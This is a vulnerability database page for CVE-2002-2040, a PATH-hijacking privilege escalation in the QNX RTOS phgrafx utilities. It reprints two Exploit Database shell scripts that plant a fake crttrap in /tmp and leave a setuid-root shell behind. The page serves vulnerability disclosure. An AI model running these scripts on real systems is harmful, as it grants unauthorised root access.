CVE-2002-2040 : Detail

CVE-2002-2040

0.05%V3
Local
2005-07-14
04h00 +00:00
2024-09-17
02h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The (1) phrafx and (2) phgrafx-startup programs in QNX realtime operating system (RTOS) 4.25 and 6.1.0 do not properly drop privileges before executing the system command, which allows local users to execute arbitrary commands by modifying the PATH environment variable to reference a malicious crttrap program.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21503

Publication date : 2002-06-02 22h00 +00:00
Author : badc0ded
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4915/info The QNX phgrafx utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges. #!/bin/sh # # click advanced,done, apply, accept and done. # now you should have a setuid root shell waiting in /tmp/badc0ded # # www.badc0ded.com echo "#!/bin/sh" > /tmp/crttrap echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap chmod 755 /tmp/crttrap export PATH="/tmp:$PATH" /usr/photon/bin/phgrafx
Exploit Database EDB-ID : 21504

Publication date : 2002-06-02 22h00 +00:00
Author : badc0ded
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4916/info The QNX phgrafx-startup utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges. #!/bin/sh # # click test,restore,continue # now you should have a setuid root shell waiting in /tmp/badc0ded # # www.badc0ded.com echo "#!/bin/sh" > /tmp/crttrap echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap chmod 755 /tmp/crttrap export PATH="/tmp:$PATH" /usr/photon/bin/phgrafx-startup

Products Mentioned

Configuraton 0

Qnx>>Rtos >> Version 4.25

    Qnx>>Rtos >> Version 6.1.0

      References

      http://www.securityfocus.com/bid/4916
      Tags : vdb-entry, x_refsource_BID
      http://www.securityfocus.com/bid/4915
      Tags : vdb-entry, x_refsource_BID
      http://online.securityfocus.com/archive/1/275218
      Tags : mailing-list, x_refsource_BUGTRAQ